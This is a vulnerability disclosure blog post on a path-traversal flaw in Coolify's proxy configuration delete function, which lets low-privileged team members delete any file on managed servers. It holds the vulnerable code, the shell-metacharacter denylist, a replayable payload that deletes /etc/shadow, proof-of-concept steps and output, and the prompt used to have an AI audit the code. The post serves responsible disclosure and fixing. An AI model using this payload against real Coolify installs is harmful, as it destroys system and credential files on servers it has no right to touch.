Skip to main content

Command Palette

Search for a command to run...

Deleting any file on a Coolify managed server with a single `..`

Updated
10 min read
Deleting any file on a Coolify managed server with a single `..`

I. Introduction

Coolify is an open-source, self-hostable PaaS that lets you deploy apps, databases, and pre-baked services on your own servers — the "Vercel/Heroku/Netlify replacement, but you own the box" pitch. It runs as a Laravel/Livewire control plane that holds SSH keys to one or more "managed" servers and pushes deploys, container lifecycle calls, and proxy configuration to them over ssh + rm/docker/bash. The default install puts that control plane and the first managed server on the same host, as root.

It is one of the most popular self-hosted-PaaS projects on GitHub (coollabsio/coolify, ~57k stars), used as the deployment/orchestration layer of a large number of small teams and side projects, and increasingly of small SaaS shops who want a Heroku ergonomic without the bill. The blast radius of a Coolify control-plane bug is "every server that Coolify holds an SSH key to."

Vulnerable version: coollabsio/coolify <= 4.1.0 every release through v4.1.0 (the latest tag at the time the report was filed), including ghcr.io/coollabsio/coolify:latest (= v4.1.0).

Advisory: https://github.com/coollabsio/coolify/security/advisories/GHSA-grx5-36vg-ghvq

CVE: CVE-2026-53772 issued by GitHub after CVE-rules compliance review;

Merged fix (validator): fix(proxy): tighten config validation — commit 419593e7d4, PR coollabsio/coolify#10503, merged into next on 2026-06-02; shipped in release v4.1.2 on 2026-06-04.

II. Target selection

Coolify fit all three. ~57k stars, PHP/Laravel, the entire control plane (UI, queue, deploy logic) is in-tree, the install model is "Coolify SSHes into the managed servers as root," and the prior advisory, GHSA-q7rg-2j7p-83gp / CVE-2025-66212, was a critical (RCE) command-injection fix landed on 2026-01-03 against exactly one function: DynamicConfigurationNavbar::delete($fileName). The fix shape was "we added a validator and escapeshellarg() now it's safe." That phrasing on a rm -f shell call against a user-controlled path is the canonical incomplete-fix shape: shell-injection is gone, but path traversal lives in a different layer. That was the entire reason I picked the file.

III. Finding

I cloned coollabsio/coolify, pointed Claude Code (Opus 4.7) at the tree, and ran one prompt:

You are auditing the patched function from GHSA-q7rg-2j7p-83gp / CVE-2025-66212.

The original advisory was "Authenticated RCE via Command Injection in Dynamic
Proxy Configuration Filename." The fix in commit 0073d045fb added a validator
(validateShellSafePath) and wrapped the path in escapeshellarg() before
passing it to a shell `rm -f`.

Do NOT trust that "validated + escapeshellarg = safe." That is the
fix-author's premise, not a proof. For every patched sink reachable via the
delete()/create() flows of that advisory, list distinct ways an attacker can
still influence the post-shell resolution of the path the kernel actually
opens. Treat shell parsing and path resolution as two separate layers. For
each candidate, output:

## Candidate N
- Sink (file:line):
- What the validator does and does NOT reject:
- What escapeshellarg() does and does NOT prevent:
- Attacker-controlled bytes that survive both:
- Authorization required to reach the sink (read the policy class, do not
  guess from the controller annotation):
- Concrete payload:
- What the kernel ends up touching:

Verify each candidate by reading the source, not by reasoning about it.

Claude came back with one high-confidence candidate after about a minute. The data flow is short:

POST /livewire/update
  → App\Livewire\Server\Proxy\DynamicConfigurationNavbar::delete($fileName)
      \(this->authorize('update', \)this->server);
         → App\Policies\ServerPolicy::update()  ──►  return true; // (!)
      \(file = str_replace('|', '.', \)fileName);
      validateShellSafePath($file, 'proxy configuration filename');  // <- gap
      \(fullPath    = "{\)proxy_path}/dynamic/{\(file}";                 // attacker controls \)file
      \(escapedPath = escapeshellarg(\)fullPath);                       // does not strip ..
      instant_remote_process(["rm -f {\(escapedPath}"], \)this->server);// SSH into managed host

The vulnerable function:

public function delete(string $fileName)
{
    \(this->authorize('update', \)this->server);
    \(proxy_path = \)this->server->proxyPath();
    \(proxy_type = \)this->server->proxyType();

    // Decode filename: pipes are used to encode dots for Livewire property binding
    \(file = str_replace('|', '.', \)fileName);

    // Validate filename to prevent command injection
    validateShellSafePath($file, 'proxy configuration filename');

    if (\(proxy_type === 'CADDY' && \)file === 'Caddyfile') {
        $this->dispatch('error', 'Cannot delete Caddyfile.');
        return;
    }

    \(fullPath    = "{\)proxy_path}/dynamic/{$file}";
    \(escapedPath = escapeshellarg(\)fullPath);
    instant_remote_process(["rm -f {\(escapedPath}"], \)this->server);
    ...
}

The validator the CVE-2025-66212 fix introduced is in bootstrap/helpers/shared.php:130, and its deny-list is only shell metacharacters:

$dangerousChars = [
    '`' => 'backtick (command substitution)',
    '$(' => 'command substitution',
    '${' => 'variable substitution with potential command injection',
    '|'  => 'pipe operator',
    '&'  => 'background/AND operator',
    ';'  => 'command separator',
    "\n" => 'newline (command separator)',
    "\r" => 'carriage return',
    "\t" => 'tab (token separator)',
    '>'  => 'output redirection',
    '<'  => 'input redirection',
];

/, \, .., ~, spaces, and quotes are **not** in the list. The same file already ships a stricter sibling, validateFilenameSafe() at line 174, which rejects directory separators, .., NUL bytes, and shell-expansion characters. validateFilenameSafe() is the helper the PostgreSQL init-script flow uses on its filename input. The proxy-delete flow uses the looser validateShellSafePath(), even though its value is the same conceptual shape (a single filename meant to live in a fixed directory).

The reasoning that needed to be stated out loud, because it is the entire bug:

  • validateShellSafePath() is a shell-injection guard. It prevents the resulting string from spawning new argv tokens or command substitutions.

  • escapeshellarg() is a shell-quoting guard. It prevents the resulting string from being re-tokenised by the shell.

  • Neither layer prevents the operating system from resolving .. while opening the path. rm -f '/data/coolify/proxy/dynamic/../VICTIM' quotes cleanly, parses as one argv, and the kernel walks the .. segment before opening the file. The directory traversal happens in the open(2) path, after both validators have already happily passed the input through.

That made it a textbook validate-before-canonicalize bug, just at the shell + kernel boundary instead of the URI + filesystem boundary.

There was also an authorization gap I needed to follow up on before scoring the CVSS: the \(this->authorize('update', ...) at the top of delete() runs App\Policies\ServerPolicy::update(\)user, $server), and at the time of the report that policy method was:

public function update(User \(user, Server \)server): bool
{
    // return \(user->isAdmin() && \)user->teams->contains('id', $server->team_id);
    return true;
}

The intended role check was commented out — the same return true; stub was present for view, create, update, delete, manage, cleanup on ServerPolicy, and for ServicePolicy, ServiceApplicationPolicy, and EnvironmentPolicy. Every team member (the lowest team role) was therefore allowed to reach the sink, not just admins/owners. That lowered PR from H to L.

The vulnerable request

In the browser DevTools network tab, find the POST /livewire/update that the proxy "Delete" button emits, and change the fileName argument in calls[0].params:

"calls": [
  {
    "method": "delete",
    "params": ["../../etc/shadow"]
  }
]

Replay. The control plane runs:

rm -f '/data/coolify/proxy/dynamic/../../etc/shadow'

on the managed server, over SSH, as the Coolify SSH user typically root on a single-node install. /etc/shadow is gone.

PoC against ghcr.io/coollabsio/coolify:latest (= v4.1.0)

Two-line standalone reproduction. The first script stands up an unmodified Coolify in Docker on port 8000; the second script proves the validator gap and runs the exact shell command the sink emits, without going through the browser:

# 1) Stand up Coolify v4.1.0 in Docker
bash report/evidence/poc_setup.sh

# 2) Demonstrate the validator gap end-to-end
bash report/evidence/poc_validator_gap.sh

The second script does:

  1. Plant /data/coolify/proxy/VICTIM_FILE (outside the dynamic/ subdirectory).

  2. Inside the Coolify container, run php artisan tinker to call validateShellSafePath('../VICTIM_FILE', 'proxy configuration filename') — which returns successfully, proving the validator does not block path traversal.

  3. Execute the exact shell command DynamicConfigurationNavbar::delete() would emit: rm -f '/data/coolify/proxy/dynamic/../VICTIM_FILE'.

  4. List the proxy directory — VICTIM_FILE is gone, legit.yaml (the only file the user should be able to touch) is intact.

Captured transcript on ghcr.io/coollabsio/coolify:latest (digest sha256:2aba30db…, = v4.1.0):

[+] validateShellSafePath('../VICTIM_FILE') => OK (does not block traversal)
[+] running: rm -f '/data/coolify/proxy/dynamic/../VICTIM_FILE'
[+] BEFORE: VICTIM_FILE  legit.yaml
[+] AFTER : legit.yaml
==> RESULT: VULNERABLE — arbitrary file deletion confirmed on Coolify v4.1.0

The primitive is rm -f '<arbitrary path>' on the managed host. It does not directly read or write attacker-chosen content — but as soon as the SSH user is root (the default), rm -f against /var/run/docker.sock, /etc/cron.d/*, /data/coolify/source/.env, /data/coolify/ssh/keys/*, /var/lib/docker/volumes/*, or any TLS key material is sufficient for full service disruption, credential-rotation pressure, and pre-staging downgrade attacks. On a multi-server install, one team member can wipe files on every managed host the Coolify instance has SSH access to. CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. Write/RCE was tested and ruled out honestly — the primitive is rm, not tee.

I submitted the bug through GitHub's "Report a vulnerability" form on the Coolify advisory page the same day. The maintainer team accepted it; the advisory was created as GHSA-grx5-36vg-ghvq, and GitHub later assigned CVE-2026-53772 after CVE-rules compliance review (to be pushed to the CVE List and the GitHub Advisory Database when the GHSA is published).

IV. Fix

The report bundled both halves of the systemic problem with concrete suggestions: the validator swap (the primary CVE) and the ServerPolicy authorization stubs (the privilege gap that lets member reach the sink). The report's "Suggested fix" section was:

- validateShellSafePath($file, 'proxy configuration filename');
+ validateFilenameSafe($file, 'proxy configuration filename');

with the same change applied to NewDynamicConfiguration.php:47 for defence in depth, and a separate request to flip every return true; in ServerPolicy/ServicePolicy/EnvironmentPolicy/ServiceApplicationPolicy to the commented-out reference implementation \(user->isAdmin() && \)user->teams->contains('id', $server->team_id). There was also a "follow-up audit" list of every other caller of validateShellSafePath() whose value is conceptually a single filename or a path that must stay under a fixed directory — LocalFileVolume.php 90/144/176/200, Storage.php 153/197/198, and the API controllers under Applications/Services/Databases.

The maintainer, Andras Bacsai (@andrasbacsai, Coolify founder/lead), took it from there. He opened public PR coollabsio/coolify#10503 "Improve proxy configuration validation", which:

Change What it does
DynamicConfigurationNavbar::delete() swap to validateFilenameSafe() Closes the primary CVE-2026-53772 sink
NewDynamicConfiguration::save() swap to validateFilenameSafe() Defence in depth on the sibling create flow
ServerPolicy extract canManageServer() helper and wire it through update, delete, manageProxy, manageSentinel, manageCaCertificate, viewSecurity; create switched to $user->isAdmin() Closes the privilege-escalation surface so the sink is admin-only
tests/Unit/ProxyConfigurationSecurityTest.php 39 new assertions including ../ and absolute-path payloads Regression coverage for the path-traversal class
tests/Unit/ServerPolicyAuthorizationTest.php new file, 66 lines Regression coverage for the authz half

Same fix shape I'd recommended on both axes, with one cosmetic improvement: the canManageServer() helper that DRYs the six policy methods. Merged into the next branch on 2026-06-02 at commit 419593e7d4.

V. Timeline

  • 2026-05-20: Picked Coolify as the next target on the basis that GHSA-q7rg-2j7p-83gp (CVE-2025-66212) was a critical RCE in DynamicConfigurationNavbar::delete() whose fix landed on the "validator + escapeshellarg() = safe" premise. Audited the patched function with Claude Code (Opus 4.7), variant-hunt prompt.

  • 2026-05-20: Confirmed end-to-end on ghcr.io/coollabsio/coolify:latest (= v4.1.0). Validator gap + rm -f against arbitrary path proved; member-role reachability via ServerPolicy::update() → true proved.

  • 2026-05-21: Submitted the report via GitHub Security Advisories. GHSA-grx5-36vg-ghvq created the same day at 13:24 UTC, credited to @StarPlatinu. Submission marked accepted.

  • 2026-06-01 13:14 UTC: Maintainer Andras Bacsai (@andrasbacsai) committed fix(proxy): tighten config validation (419593e7d4) on the fix branch — validator swap + ServerPolicy canManageServer() rewrite + new regression tests.

  • 2026-06-02 09:07 UTC: PR #10503 "Improve proxy configuration validation" merged into next.

  • 2026-06-04 07:54 UTC: PR #10452 (next → v4.x) merged. Released as v4.1.2. The validator fix shipped; the ServerPolicy hardening did not make it onto the release branch.

  • 2026-06-10: GitHub issued CVE-2026-53772 for GHSA-grx5-36vg-ghvq after CVE-rules compliance review. The CVE record will be pushed to the CVE List and the global GitHub Advisory Database once the advisory is published.

The whole pipeline — picking the target on an incomplete-fix hypothesis, sink-first audit on a ~57k-star PHP/Laravel codebase, Docker PoC against the latest published image, advisory submission with both the validator fix and the authorization fix in the suggested-fix section, and tracking the maintainer's PR through next → v4.x to verify what actually shipped — ran inside Claude Code on Opus 4.7.